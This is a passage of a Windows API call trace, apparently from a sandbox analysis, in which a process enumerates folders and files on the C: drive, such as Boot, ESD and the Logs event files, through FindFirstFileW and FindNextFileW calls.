ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.050] FindClose (in: hFindFile=0x69b008 | out: hFindFile=0x69b008) returned 1 [0135.050] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.050] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0135.050] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69af88 [0135.050] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.050] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x69af88, lpFindFileData=0x2e4f800 | out: lpFindFileData=0x2e4f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0135.051] FindClose (in: hFindFile=0x69af88 | out: hFindFile=0x69af88) returned 1 [0135.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d40068 | out: hHeap=0x5a0000) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x69b1c8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0135.051] FindClose (in: hFindFile=0x69b1c8 | out: hFindFile=0x69b1c8) returned 1 [0135.051] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0135.051] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0135.051] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="\x7090\x65\x16")) returned 0xffffffff [0135.052] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0135.052] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0135.052] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.634] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0135.634] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 0 [0135.636] FindClose (in: hFindFile=0x69adc8 | out: hFindFile=0x69adc8) returned 1 [0135.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3600078 | out: hHeap=0x5a0000) returned 1 [0135.636] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0135.636] FindNextFileW (in: hFindFile=0x5bae78, lpFindFileData=0x2e4fcf8 | out: lpFindFileData=0x2e4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0135.636] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x69adc8 [0135.884] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0135.901] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0135.902] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x644f00, Size=0x4000) returned 0x3d80080 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0135.902] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0135.903] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0135.903] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0135.903] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0135.904] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0135.904] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0135.904] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0135.904] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0135.904] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0135.905] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0135.905] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0135.905] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0135.905] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0135.905] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0135.906] FindNextFileW (in: hFindFile=0x69adc8, lpFindFileData=0x2e4fa7c | out: lpFindFileData=0x2e4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0135.906] 